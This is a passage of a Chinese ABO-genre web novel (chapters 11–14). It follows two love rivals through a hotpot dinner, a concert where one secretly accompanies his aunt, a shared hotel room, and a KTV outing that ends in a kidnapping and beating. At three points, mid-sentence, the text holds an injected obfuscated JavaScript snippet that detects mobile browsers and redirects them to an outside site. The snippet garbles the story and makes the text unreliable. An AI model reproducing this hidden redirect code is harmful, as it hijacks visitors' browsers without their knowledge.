谅情敌也不敢夹不熟的给她。 路亦然正惊讶于孟初欢居然吃了,没注意到她在锅里翻找的动作,很快他的碗里多了一块丑唧唧的脑花。 始作俑者还收回筷子轻笑:“以形补形。” 路亦然:“?” 当我发出问号的时候不是我有问题而是你有问题—— 是在说他笨吧?是吧?! 就算再不想吃,他也得吃,因为孟初欢刚才都吃了他夹的肥肠。 面色痛苦地吃完脑花,路亦然也狠喝了一口可乐,此情此景他只能想到一句话:后日吃下的果都是前日种下的因。 因不因果不果的他也不在乎了,对抗路——没有撤退可言!!! 军师赵沫十分有先见之明,早早就远离了战场,和陈百川聊得异常投机,堪称当代伯牙子期,即便她们一个学渣一个学霸。 火锅煮得咕嘟咕嘟,鸭血、鸭肠、鱿鱼须接连进了孟初欢的肚子,她也成功干完了一罐可乐。 旁边路亦然的情况也不容乐观,自从吃了脑花后,他的表情就一直苦苦的,面前也空了一个可乐罐。 情敌组对视一眼,孟初欢从对面眼里看到了停战的意思。 就这点毅力,也敢来挑衅她? 孟初欢挑眉一笑,伸手从辣锅里夹了片麻辣牛肉放进情敌碗里,“吃完休战。” 路亦然看着碗里的麻辣牛肉有些不可置信,孟初欢居然会给他夹他喜欢吃的东西?! 吃了这么久,他还一片麻辣牛肉都没吃上,情敌这个人还是不赖的嘛! 他开心地夹起牛肉就往嘴里喂,完全没意识到这家火锅店不同于他之前吃的那些,这家的麻辣牛肉上面锤了致死量辣椒,要不然也不可能吃到现在锅里还有剩的。 没过几秒他就被辣出了呦呦鹿鸣,还有两滴眼泪顺着脸颊滑下,他慌不择路拿起一罐可乐就往嘴里灌。 咕咚咕咚咕咚…… 路亦然拿纸巾擦掉眼泪又擦了擦嘴,嘴巴被辣成了番茄色,瞪圆了水汽漫漫的眼睛看向旁边,还没开口就见情敌指着那罐他才喝过的可乐说: “这是我的。” 路亦然呆若木鸡。 11. 音乐盛宴 路亦然愣了几秒:“……你的?” “那我的呢?”他盯着桌面。 孟初欢晃了晃手里的可乐,“我这呢。” 路亦然瞳孔地震:“你喝了?!” “不然呢,你把我的拿走了我又没喝的,不喝你的喝谁的?” 孟初欢一脸理所当然。 路亦然百口莫辩,谁让他先抢了别人的可乐呢,虽然他不是故意的。 可乐已经被孟初欢喝过了,他也懒得再去碰,找服务员重新要了罐新的。 抛开那些情敌组battle的情节,这顿火锅吃得还是比较满足的,四人都要回学校干脆就继续同路了。 陈百川最先上寝室楼,到了O栋,赵沫被路过的同班同学拉过去聊天去了,就只剩下路亦然和孟初欢站在O栋前方面面相觑。 “不吃脑花的话,你可以多吃点核桃。”孟初欢突然没头没尾地来了一句。 路亦然皱起眉毛:“你又拐着弯说我笨!” 核桃补脑,他知道! 孟初欢闻言只是笑了笑,狐狸眼都带点微弯的弧度,她稍微朝情敌凑近了一点,语气焉坏焉坏的。 “没喝你可乐,笨蛋。” 等路亦然反应过来,某个讨人厌的家伙已经走出去老远了,他只能对着空气挥挥拳头。 “你才笨蛋!” 接连下了三天的雨,五月二十号这天终于放晴,音乐会六点开始,孟初欢五点半吃完晚饭就打了辆车,她拉开车门坐到后排:“瓦兰音乐厅。” “哟,又来个去这地儿的。”司机笑着说了句。 孟初欢:“又?” 她上车的时候注意到后排已经坐了个人,但那人头上盖着卫衣兜帽在睡觉, 听了司机的话她转头看向旁边,刚好和摘下兜帽的omega四目相对。 缘分就是这么莫名其妙——一点眼力见都没有。 人不顺的时候真是喝个水都能塞牙缝,随便打个车都能碰上情敌。 “怎么是你?”路亦然撇撇嘴。 孟初欢理了理衣摆,慢条斯理道:“这个问题你该去问老天爷,问了告诉我答案,正好我也好奇。” 路亦然翻了个白眼:“我要真问得上老天爷还来问你干嘛。” 说完这句他又戴上兜帽脸朝向车窗一侧,主打一个眼不见(情敌)心不烦。 车程十五分钟左右,在车上干坐着也不是个事儿,孟初欢拿出手机点开和网友【小鹿不迷鹿】的对话框。 M:【小鹿,音乐会公布的节目单上没有弥森,你知道她第几个出场吗?】 身旁一阵骚动,孟初欢用余光瞟了一眼,面朝车窗的情敌转换了坐姿确保自己看不到他的手机屏幕,卫衣兜帽依旧戴在头上和她一样玩起了手机。 就在这时,网友小鹿回复她了。 小鹿不迷鹿:【这是音乐会官方设置的惊喜啦!按理说不能随便泄密,不过咱俩啥关系啊![/偷笑]】 小鹿不迷鹿:【没记错的话应该是第十五个,一共是二十个节目,位置比较靠后】 小鹿不迷鹿:【你到地方了吗?】 M:【还没】 小鹿不迷鹿:【我也是】 小鹿不迷鹿:【还和讨厌鬼同一辆车(小猫垮起个批脸.jpg)】 M:【讨厌鬼?】 小鹿不迷鹿:【就是我之前跟你说的那个死装Alpha,也是我情敌[/裂开]】 孟初欢挑了个眉,这么巧,她也和情敌同一辆车。 M:【把她当空气就行】 小鹿不迷鹿:【听你的!车快到了,不跟你说了哦,拜拜!】 孟初欢也把手机揣回兜里,没过多久车停了,她拉开车门率先下车,顺便帮情敌把着车门,就他那细胳膊细腿儿的样,估计推个车门都费劲。 路亦然下车后极其不爽地瞪了孟初欢一眼,“我推得动车门,不用你帮。” 孟初欢关上车门,摸了摸嘴角,后知后觉意识到或许……可能自己刚才的表情太过真情外露,以至于情敌轻轻松松就能读懂她的意思。 进场后两人就分开了,孟初欢找到位置坐下,她的位置在VIP席,能够把整个舞台一览无余,堪称绝佳的好视野。 六点整,音乐会准时开场。 孟初欢看过的音乐会没有一百场也有五十场,瓦兰这场前半场的节目在她看来都比较中规中矩,不容易出错但也没啥新意。 时间被乐声悄无声息地带走,没一会儿就到了第十四个节目,而此刻的后台工作人员却遇到了一个难题。 “什么?弥森老师的钢琴伴奏路上出车祸来不了了?!”总负责人握着手机大惊失色。 下一秒,一只手拿过手机,“人受伤了吗?” “……轻伤也是伤,受伤了还想来音乐会?”弥森捏了捏眉心,加重语气:“让他听医生的话,好好养伤,不用担心我这边,已经找到替他的人了。” 总负责人鼓着眼睛:“啊?是谁?我怎么不知道?!” 弥森把手机还给她,弯唇一笑,“那当然是因为我在骗人啊。” 总负责人悬着的心终于死了,她急得扣头发,“弥森老师,这让我从哪儿去找个新的钢琴伴奏啊,而且找到了也没有时间跟您磨合,万一……万一到了台上掉链子,哎!” “本来就没多少头发,再扣真秃了。”弥森拍了拍总负责人的肩膀,“别担心,我有人选。” 总负责人愣愣地看着弥森拨了个电话出去,没过一会儿就有个唇红齿白的年轻男生推开了后台门。 “小姨,找我什么事啊?” 总负责人:“小、小、小姨?” 弥森把男生拉到身旁,朝总负责人炫耀:“我外甥,漂亮吧!” 她又看向男生,“小然,这是音乐会的总负责人,我们俩想邀请你来当我的钢琴伴奏。” 路亦然先是不可置信地眨眨眼,又迟疑地用手指着自己,“……我、吗?” 弥森:“别怀疑,就是你,在场的只有你和我一起练过这首曲子。” 姨甥俩就“路亦然到底有没有那个技术和资格登台演出”大战了三百回合,最终路亦然被亲小姨的一记卖惨术打倒。 “小然,你也不想小姨历时三年呕心沥血创造出的新曲子没人伴奏吧?” 路亦然:“……” 他咬了咬牙,“我去!” …… 第十四个节目结束,孟初欢稍稍挺直了脊背,目不转睛地盯着舞台。 突然之间,舞台上所有灯光消失,紧接着一束细细的光照亮了坐在钢琴凳上的人,那人侧对着观众席,穿着一套白色燕尾晚礼服,脸上一只银白半脸面具平添了几分神秘和优雅。 孟初欢离舞台很近,加上高等级Alpha优越的视力,她看见银白半脸面具的一端有一只渐变蓝的麋鹿。 从尾部到头部颜色越来越深,到了丛生的鹿角,就变成了蓝宝石色,鹿角刚好点缀在那人眼尾,有种惊心动魄的美感。 唯一的缺点是,面具有点旧了,不过这也在所难免,什么东西放个七年八年的都会变旧,更何况一个面具。 要当一个人的粉丝,就不能不去了解她的生平,孟初欢属于粉丝中的佼佼者,她把偶像的生平了解地透透的。 很早之前,弥森不仅仅是弥森,也是组合“弥鹿”的成员之一,组合的另一个成员叫鹿夏。“弥鹿”虽然一直不温不火,但也有自己的粉丝,后来不知道发生了什么事,鹿夏退出组合,“弥鹿”解散,弥森才终于只是弥森。 “弥鹿”解散的两年后,弥森凭借着一首独创小提琴曲俘获了大量音乐迷的芳心,在圈子里小火了一把,加上留守的那点“弥鹿”组合粉,她也有了不小的粉丝基数。 弥森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628398|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来的火爆在这个时候其实就已经有迹可循,一个有天赋又肯努力还愿意和粉丝真心换真心的偶像,就问谁能不粉! 那只银白面具——孟初欢敢担保她的记忆没有出错——绝对是“弥鹿”解散之前某次公开演出时,鹿夏所戴的面具。 琴声悠然响起,抚平孟初欢起伏的思绪,她把注意力从面具上移开,全副身心享受这场音乐盛宴。 音符从琴键上流下,跳跃在空气里、台阶上、观众的耳朵乃至心尖上,宁静而又通透。 小提琴的声音由远及近、由轻到重,弥森出现在了舞台上,脸上同样戴着一只半脸面具,只不过她这只是蓝宝石色的,一只雪白的麋鹿点缀在面具的一端。 同样的陈旧,孟初欢一眼就看出来这和鹿夏那只是一对,她隐隐猜到了弥森这首新曲子想要表达什么。 仿佛为了印证她心中所想,舞台后面的大荧幕上缓缓浮出几个字眼——曲目:《弥鹿:缅怀与告别》 钢琴与小提琴的音符交织成一张绵密的网,笼罩住所有人的心神。 音乐厅好似变成了一处河畔,虫鸣鸟语,水声潺潺,晚风偶尔拂过面庞带来一阵阵花香,心灵乃至灵魂都得到了洗涤。 没有喝彩没有鼓掌,音乐厅安静得只剩下琴声流淌。 等大荧幕上出现下一首曲目时,众人才从状态中脱离,余音绕梁大约如此。后面的节目怎么样已经不重要了,仅这一曲《弥鹿》,观众就没白来。 弥森和钢琴伴奏谢幕的时候,孟初欢就已经从琴声中抽离出来,坐在钢琴凳上的时候不觉得,等钢琴伴奏站起来,孟初欢才发现这人的身形有些熟悉,不过谢幕时间也就几秒钟,她只能把疑窦压在心底。 而此刻的后台,弥森把外甥拉进了她的专用休息室,抽了两张纸在路亦然眼睛边上轻柔地擦,“哎呦,小然不哭啊,小姨待会儿就去给你买糖吃。” 即将涌出的泪意在一瞬间被打了回去,路亦然拿过纸巾自己擦干泪痕,“小姨,我只流了一点点眼泪,你抽两张纸是不是有点浪费?” “而且我不喜欢吃糖,你那都是哄小孩儿的。” “怎么会,你小时候不是挺爱吃糖的吗?”想到什么,弥森又露出了然的神色,“只不过后来蛀牙了。” “所以你是因为害怕蛀牙才不敢吃糖,其实还是想吃的,是吧?”弥森朝外甥挤挤眼睛。 “不,一点都不想。”路亦然果断拒绝诱惑,拔牙的疼他不想再受一次了。 弥森拿起桌上的银白半脸面具,交到路亦然手里,她叹了口气,“我知道你刚才想妈妈了,其实我也想,这只面具是她以前戴的,送你了。” 手里的面具明明没有温度,却莫名烫手,一路烫到了心里,路亦然又有点想哭,但一想到他哭了小姨可能会给他买糖吃,立马就又憋住了。 如果说上台前是胆怯与畏惧,那他现在只觉得庆幸与感激。 粉丝只知道弥森这是在缅怀组合、告别过去,但他却知道小姨缅怀的不只有组合,还有他的妈妈、她的姐姐——鹿夏。 能够用妈妈教给他的钢琴知识,亲手为这样一首曲子伴奏,路亦然觉得自己简直就是上帝的宠儿,以至于曲子临到尾声的时候他就已经在流眼泪了。 情到深处,姨甥俩浅浅拥抱了一下,松开对方后,弥森朝着外甥挤眉弄眼:“小然啊,谈恋爱没啊?你该不会还想着陈家那小子吧?” 路亦然眨眼:“不可以吗?” 弥森一捂额头:“我的天啊,那小子心里根本存不下半点情情爱爱。真的,你听姨的,也该告别过去换个人喜欢了!” 路亦然支支吾吾半天说不出一句完整的话,最后只能狠下心超小声地在弥森耳边说了一句话: “小姨,其实我瞒了你一件事,我和妈妈一样……” 弥森猛得睁大了眼。 “——也有信息素依赖症。” 12. 意外堵车 信息素依赖症,一款专为Alpha和omega量身定制的病症,有一定几率遗传给下一代。 对于那些钟情强制爱的病娇疯批类角色,他们想要强制爱的对象患上信息素依赖症简直就是上帝对他们最好的馈赠,只需要一个标记…… 哪怕是临时标记,对方就会一辈子和自己捆绑在一起,永远都赖不掉,除非死亡。 信息素依赖症简而言之就是omega(Alpha)对初次标记的Alpha(omega)的信息素产生依赖性的症状,患者需要同对方进行定期标记,并且吸收足量的信息素,否则就会导致身体免疫功能紊乱,进而引发一系列疾病,身体迅速衰弱直至死亡。 更要命的是,对于患病的omega来说,就算清洗标记也没办法祛除这种影响,他们依然会一步步走向死亡。 弥森从外甥患有信息素依赖症的震惊中缓过来,突然说:“所以你才会这么执着于陈家那小子?也对,他是beta没办法标记你。” 路亦然沉默了很久才慢慢开口:“也不完全是这样,刚检查出来患病的时候我确实这样想过,但现在……” 他叹了口气:“我不确定了,我感觉我应该是喜欢百川哥的吧。” 除了和陈百川在一起,他当然也可以选择独身一人,但他是个omega。一个未婚omega行走在社会上,危险系数是已婚omega的五倍还要多。 路亦然不敢赌他是幸运的那一个,哪怕如今的政府出台了omega保护政策。 因为信息素依赖症而选择一个人来喜欢,这对陈百川实在太不公平,正因如此,路亦然才一直没有告诉陈百川自己喜欢他,想和他在一起。 “小然。”弥森抬手摸了摸外甥的脑袋,“你有没有想过……和Alpha谈恋爱。” 话音刚落,路亦然把头摇得像拨浪鼓:“不想。” 他不想步妈妈的后尘,一点都不想。 “行,不想就不想。”弥森继续rua外甥软乎乎的头发,“喜欢上那么个绝了情根的小子,你可有的苦头吃了。” —— 九点十分,路亦然从音乐厅出来就近拦了辆出租车,“去B大。” “又见面了,好巧。” !!! 路亦然迅速转头:“又是你?!” 孟初欢拆了根棒棒糖衔在嘴里:“有必要这么大惊小怪么?” 路亦然哼了声:“有没有必要,你自己心里清楚。” “哦。”孟初欢懂装不懂,“不清楚。” 路亦然:“……” 他就说这个人又装又贱嗖嗖的吧! 车子开了没几分钟就停了下来,前面也没有红绿灯,后排的两个人同时支起上半身透过前挡风玻璃往外看——前面亮了一长串红色的汽车尾灯,根本望不到头。 哦豁,堵车了。 这一堵就堵到了十一点,司机也急着回家,他回头冲两人说:“我估摸着还得堵好一会儿,这趟不收你俩钱,你俩就在这儿下行不?” B大工作日的门禁是十一点,已经过了,就算待会儿路通了两人也回不了学校,干脆应了司机的话双双下车。 路灯下是一前一后的两个影子,孟初欢在前面走,路亦然在后面跟,他本来不想跟的,但下车之后他摸了摸衣兜——没带身份证。 不能回学校,也没法住酒店。 加上这附近路灯少,建筑也大都是废旧的居民区,怎么看怎么像案发现场。 路亦然的脑海中不断浮现出小说剧情里被拖进黑暗小巷噶了腰子的凄惨NPC,他打了个哆嗦,只能亦步亦趋跟在带了身份证的情敌身后。 孟初欢对于身后多了个小尾巴这件事心知肚明,却也没说什么,任由小尾巴一路跟到了附近唯一的一家酒店。 “我要一间房。”孟初欢拿出身份证。 “好的,这是房卡,您拿好。” 差一脚踏进电梯,身后的小尾巴终于不再保持沉默,“那个……我没带身份证,能不能借你身份证开一间房?” 孟初欢没说话。 路亦然转了转眼睛,灵机一动抓住了情敌的袖子,“你喜欢弥森是不是?我听你拉过她的曲子,如果你借我身份证的话,我就……就送你一张弥森的TO签!” 过了两秒,孟初欢勾起唇角:“成交。” 没人能在偶像的TO签面前保持冷漠。 两人再次回到前台,却惊闻一个噩耗——酒店没房了。 惊的主要是路亦然,孟初欢已经有房间住了。 没办法了,孟初欢朝路亦然一摊手,走进电梯,小尾巴干回老本行又跟了进来。 “我要跟你住,送一张弥森的TO签!” 孟初欢充耳不闻,借身份证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628399|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和借房间的区别她还是很分得清的,后者是另外的价钱。 “两张!!!” 电梯门开了,孟初欢率先走出去,用房卡打开门,然后回头微抬下巴:“你腿短,睡沙发。” 还是那句话,没人能在偶像的TO签面前保持冷漠,一张不行那就两张。 路亦然忍气吞声走进房间,嘴里嘟囔着:“只是没你长而已,但也不算短吧!” 酒店位置偏是偏了点,但设施都是齐全的,路亦然洗漱完就把自己裹进了被子,没一会儿就在沙发上睡熟了。 孟初欢从浴室出来一眼就看到拖了一半在地上的被子,沙发上的人半边身体都露了出来,偏偏这人也是笨得可以,只知道追着被子跑,不知道把被子往上拉拉。 整个人都贴在沙发边缘上,说不准什么时候就要和地面来个亲密接触。 孟初欢被这种人追着被子跑的奇葩行径硬控了几秒,随后才叹了口气默默靠近沙发,把睡得跟死猪似的人往里面推了推,拉起被子给人裹严实了。 俗话说:是金子总会发光,同理:人追着被子跑总会摔地上。 孟初欢早上起来路过沙发,随便一瞟,就看到一条人躺在被子上,而被子铺在地板上。 还好沙发不算高,要不然她都担心把人摔出个好歹来,比如说本来就不怎么聪明的小脑瓜变得更不聪明。 等孟初欢洗漱完从浴室出来,某个追着被子跑的人终于醒了。 路亦然坐在地板上的被子堆里,抓了两把乱糟糟的头发,仰着头看孟初欢,眼神有点奇怪,“你昨晚没把我踢下沙发吧?” 此情此景,孟初欢只能想到一个词——倒打一耙。 她也不管被子上还坐了个人,直接蹲下身扯住被子一角就往上拉,“要是我踢的话,你现在应该在楼下。” 被子倾斜起一个明显的角度,路亦然不得不离开被子坐到了沙发上,要不然他会被抖到地板上。 他撇撇嘴:“你又不是牛,哪来那么大的力气。” 孟初欢把被子整理好,轻轻一笑:“要感受一下吗?” 路亦然把情敌整个人仔仔细细打量了一遍,发现可能大概也许……她真有那么大的力气? 骆丰那么大的块头都被她随随便便一脚踹翻,就他这个小身板,说不定真的会被踢到楼下。 路亦然把头摇得飞快:“不要不要。” 13. 歌房团建 周三晚上,又到了音乐社两月一次的团建时刻,这次群里的投票结果显示:KTV拔得头筹。 除去有课和有事不来的社员,这次团建有二十人,社长开了四个房间,一个房间五个人。 一切都很顺利,只是在分组的时候遇到了点困难。 “444?”顶着一头绿毛的某个社员发出疑问,“传闻执念深重的恶鬼会在晚上用音叉杀死444房间的客人。” 说完他非常应景地打了个哆嗦。 “一听就是假的,难不成你还真信啊?”有社员发出嘲讽。 “其他KTV不一定,但这家KTV……”绿毛旁边的社员表情讳莫如深,下意识放轻了声音:“真的死过人。” 其他社员:! 这群大学生没怎么见识过人性的恶意,殊不知人比鬼更可怕,对这种鬼神怪谈一类的东西有种莫名的畏惧,具体就体现在没人想去444这个房间唱歌了。 一群人在原地耗了五分钟,你推我我推她,最后还是等的无聊的孟初欢胆魄惊人:“我去。” 她话音刚落,一直默默观察着的钟一帆立马抓起身旁同伴的手急急忙忙地喊:“我、我和亦然也去!” 路亦然一脸懵圈但无可奈何:救命,他不想和情敌一个房间! 下一秒,“我也去。” 说话的人是蒋榆。 不到一分钟,444就敲定了四个人选,等其他人分完组,最后一个人选也敲定了——社长。 才唱了两首歌,名为社长实为社畜的社长就被辅导员一个电话给叫去打工了。没办法,这是一部分大学牲(辅导员助理)必须要吃的苦。 没到孟初欢点的歌,她就坐在沙发上喝饮料,饮料是社长点的,五花八门各种类型都有,孟初欢手里那杯她尝出来有一股酒精味。 还好她不是一口倒。 “你怎么不去篮球社?” 闻言,孟初欢扭头看了球场上的老对手一眼,吐出四个字:“因为热爱。” 喝了口饮料,她也问了蒋榆同样的问题:“你呢,为什么?” 蒋榆:“和你一样。” 孟初欢眯着眼睛打量她,琢磨了几秒,笑了:“是吗?那你热爱的到底是音乐还是……” 说着她的视线往前面拿着话筒唱歌的omega身上瞟。 正在喝东西的蒋榆呛了一口,脸都红了,也不知道是呛的还是其他什么原因,她抿着嘴:“咱俩不熟,你别管那么多。” 孟初欢后仰靠在沙发背上,狐狸眼映射着五彩斑斓的灯光,有种光怪陆离的感觉,她神情懒散:“不是你先问我的?” 蒋榆:“……” 你看不出来我那是觉得太尴尬硬找的话题吗? 老对手之间的对话到此戛然而止,话不投机半句多——这是真的,尤其是对手之间。 “孟学姐,这首歌我不太会唱,你能带我一下吗?” 孟初欢朝说话的人看过去,脑子里默默打出一个问号,这人是谁来着? 这真不怪她脸盲,实在是没什么印象啊。 “喂,一帆跟你说话呢!” 经某个炮仗一提醒,孟初欢想起来了,这好像是她那个情敌的同班同学,叫什么钟……钟一帆? 不好意思,是情敌的同班同学,四舍五入就是她的敌人。 孟初欢起身去开了个原唱,又返回沙发坐下,对愣住的钟一帆说:“这样就行。” omega脸上闪过尴尬,但还是点了下头:“……谢谢孟学姐。” 不在细节上作对,就算不上一个称职的情敌。 路亦然拿着话筒噔噔噔地跑去又把原唱关了,一手揽过钟一帆的肩,朝沙发上的女Alpha抬下巴挑眉:“不用她带,我唱得比她好听,我带你。” 心情低落地唱完一首歌,钟一帆放下话筒坐到沙发一角端着饮料暗自神伤,路亦然凑过去跟他说起悄悄话:“她这个人就这样,没礼貌又死装,你把她当空气就行。” 钟一帆苦笑了一下,“是我自己没想到可以开原唱,不怪孟学姐。” 路亦然:“……” 他默默叹了口气,也不知道钟一帆对情敌哪来那么大的滤镜,难道这就是三观跟着五官跑? 长得好看的人多了去了,都是两只眼睛一张嘴两条胳膊两条腿,孟初欢也没啥特别的啊? 除了特别的欠。 在心里把情敌痛痛快快地鞭策了一番,路亦然听到蒋榆叫他:“亦然,这首歌我不太会。” 路亦然茫然眨眼:“……所以?” “让你多吃核桃还不听,她这是让你带着她唱。”某Alpha欠欠地开口,顺便关爱了一把情敌的智商。 听完前半句话,路亦然拳头梆硬:“真想把你嘴巴拿去捐了!” 女Alpha伸手点了点嘴唇,浅笑着:“在这呢,有本事来拿。” 遵纪守法了二十多年的路亦然:“……” 他确实没本事。 吃了一肚子气的omega赶在歌曲前奏结束前垮着脸拿起话筒,走到蒋榆面前勉强朝她露出一个笑——三分毒药三分刀子四分淬了毒的刀子。 唱完这首歌,依然满肚子气的路亦然做了一个重大的决定——他要把孟初欢点的歌全都移到前面去,让她把嗓子唱废! 他在点歌屏幕前站了多久,沙发上的女Alpha就看了他多久,越看她越忍不住笑。 想让她把嗓子唱废? 孟初欢没忍住弯了下眼睛,她很少见到一个人能呆到这种地步,他能切歌难道她就不能? 依她看,情敌吃核桃这事儿还是得早点提上日程。 虽然很想把情敌那张嘴捐了,但路亦然也不得不承认:这家伙唱歌还怪好听的。 虽然没到如听仙乐耳暂明的程度,但他满肚子的气好歹是因为这非常加分的歌声消了一点。 打量了前面唱歌的女Alpha几眼,路亦然心想:也就唱歌的时候还有点人样。 他哼哼了两声,刚想原谅情敌刚才对他智力的亵渎,就听见孟初欢说:“喂,这首我不会,带我唱一下。” 路亦然左望望右望望,才发现孟初欢看的人是自己,他张大嘴:“我,带你唱?” 不是,你脑子没毛病吧??? 孟初欢眯了眯眼,唇角微勾:“难道你不敢?” 她又摸着下巴点了两下头:“也是,毕竟你唱得没我好听。” 此话一出,是可忍孰不可忍! 路亦然起身上前一把抓起话筒,朝孟初欢瞪眼: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628400|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁不敢了!” 孟初欢继续笑:“哦,你要不先看看唱的是什么。” 路亦然朝屏幕上方打眼一看,瞪着的眼睛就这么慢慢闭上了——打脸来得太快就像龙卷风,他不会唱! 孟初欢这个老狐狸,又坑他!!! 孟初欢适时地给情敌加了点刺激:“怎么,还敢吗?” 路亦然冷笑一声:“呵呵,你别害怕就行。” 软的怕硬的,硬的怕不要脸的。 任孟初欢如何硬,只要他的调跑得够远够离谱,就不怕带不偏这个大狐狸臭狐狸。 丢脸也要拉着情敌一起丢! 难以想象同房间的钟一帆和蒋榆忍受了怎样的折磨,总之等情敌组一曲唱完,她们俩的表情像是去天上转悠了一圈,已经被如雷的歌声给电得外焦里嫩肉质Q弹了。 孟初欢这首歌本来就唱得不是很熟练,再有路亦然一通乱唱铆足了劲儿的把调带跑,她想不跑调都难。 放下话筒,孟初欢对情敌竖了个大拇指,“你牛。” 路亦然微抬下巴,眼睛斜睨着情敌,他哼了一声:“知道就好。” 不枉他豁出这么大的脸面。 短暂取胜后,路亦然心情愉悦地去了趟厕所,洗手的时候发现旁边还有个人,他从镜子里偷偷多看了对方几眼,总觉得好像在哪见过,但又想不起来,应该不是什么重要的人。 厕所离444不算近,路亦然中途接了个小姨的电话,刚挂完电话身后突然上来一只手把他嘴给捂住了,还有人架着他的手臂和双腿把他抬了起来,看方向是要往KTV外面去。 路亦然唔唔唔地挣扎着,一口咬在嘴唇前的手掌上,很快尝到了血腥味,被咬那人甩开手一巴掌打在omega脸上,“草,敢咬老子!” 甩完巴掌那人撕了点桌布下来团成一团塞进了路亦然嘴里,又用手背拍拍omega被打得肿起来的那边脸颊,狞笑着:“安分点,要不然老子把你扇毁容。” 话落,他见omega眼神惊恐,飞快地点了几下头,这才满意地拿开手。 路亦然本来还想着这么大一个KTV,他总不能一个人都碰不到吧?碰到了就找人求救! 然而事实是:他真的一个人都没碰到,他都要怀疑KTV是这些人的同伙了。 不知道被抬着走了多久,路亦然刚被放下来就听见一个讨厌的声音:“哥哥,很意外吧?” 还看到了他之前在厕所见过的omega,是谁给段非报的信不言而喻。 “也对,你还不知道这家KTV被段家收购了。” 段非一步步走到靠在墙角的omega面前,笑得让人骨头发凉:“你往我房间放蜘蛛的时候怎么就没想到现在呢?” “唔唔唔——” 路亦然虽然被放下来了,但双手依然被禁锢着,嘴巴也还堵着,他努力地把脑袋往前顶,嘴里的桌布团子都快戳到段非脸上了。 段非嫌弃地后退一步,皱着眉说:“让他说话。” “咳咳咳——”路亦然喘了几口气,对着段非怒目而视,“我还嫌放得不够多呢,怎么就没把你吓成痴呆!” “打吧,别打死就行。”段非阴沉着脸对绑人的几个小弟下令,他和报信的omega则往后退远了。 14. 英雄救美 路亦然下意识蹲在地上抬起手臂护住脑袋,拳头落到身上的第一个念头:痛,真的太痛了,这些人的拳头是铁做的吗?感觉快把他打散架了。 嘴唇被咬出了血,路亦然狼狈地躲避着,却还是有拳头雨滴般砸落在身上,痛得他快要灵魂螺旋升天。 脚碰到了什么硬块,他伸手摸过去,咬出血的嘴唇突然弯了一下。 omega起先还知道躲,挨了几拳后就不怎么动了,施暴的几人一脸不屑地笑,语气嘲讽:“还以为多硬气,才挨几下就不行了。” 一个人蹲下去掐着omega的下巴让他抬头,脸都还没看清就被一记板砖砸懵了,额头都砸得见血。 砸完一个人,路亦然趁另外几个没反应过来把板砖往其中某个人脑袋上狠狠一丢,然后拔腿就跑。 他专门跑的下坡路,跑起来省力点不容易被追上。 只是omega和Alpha之间终究存在着悬殊的体力差距,等那几个人反应过来,很快就能追上他。 才跑了十秒不到,身后就响起一阵密集的脚步声,路亦然又急又怕,就快哭出来了。 这附近估计是个废弃的工地,地上到处都是水泥石沙,钢筋砖块,也就这段下坡路没那么多硌脚的东西。 路亦然大口大口喘着气,体力逐渐不支,就在他绝望地以为今天要被段非整残在这儿时,他看见了一辆推车。 ——带两轮子的、运混凝土的那种。 而且车里是空的,都这种时候也讲究不了干不干净的问题了。 路亦然果断爬进推车,刚好推车下面是一片湿滑的青苔,加上昨天刚下过雨,借着路亦然的冲力和重力,“唰”得一下推车就沿着下坡滑下去了。 这段下坡路坡度不小,路亦然坐在推车里感受到越来越快的速度,紧张得手心直冒汗,生怕突然出车祸。 他能听到后面那些人一边追一边骂骂咧咧的声音,忍不住想回头挑衅一下,结果就看见前方不远处站了个人,并且是侧对着他。 他急得大喊:“快让开啊啊啊啊啊——” 前面那人闻言看过来,环境昏暗,路亦然看不清那人长什么样子,但他能看见那人没往旁边躲还是站在原地。 你不想活我还想活呀! 路亦然额头库库冒汗:“躲开啊!!!” 车祸近在眼前,路亦然死死闭上眼睛,不敢直视。 ——“躲什么躲?” “……诶?” 路亦然小心翼翼睁开一只眼睛,呆愣愣道:“没出车祸?” 他睁开另一只眼睛,终于意识到了不对劲,用手指着面前双手把住推车两边扶手的人:“你你你你你——” “一会儿不见就成结巴了?”孟初欢屈指弹了他一下脑瓜崩。 “傻兮兮的。” “嘶痛……我不傻!”路亦然捂着额头。 “也不结巴!”他快速补充。 “先不管你是傻还是结巴。”孟初欢抬手指着追上来的段非一群人,问推车里的omega:“这些人是?” “绑架我,还打我!”路亦然表情激愤,“痛死了!” “还有……”他小声重申:“我真的不傻也不结巴。” “傻结巴,乖乖待里面。” 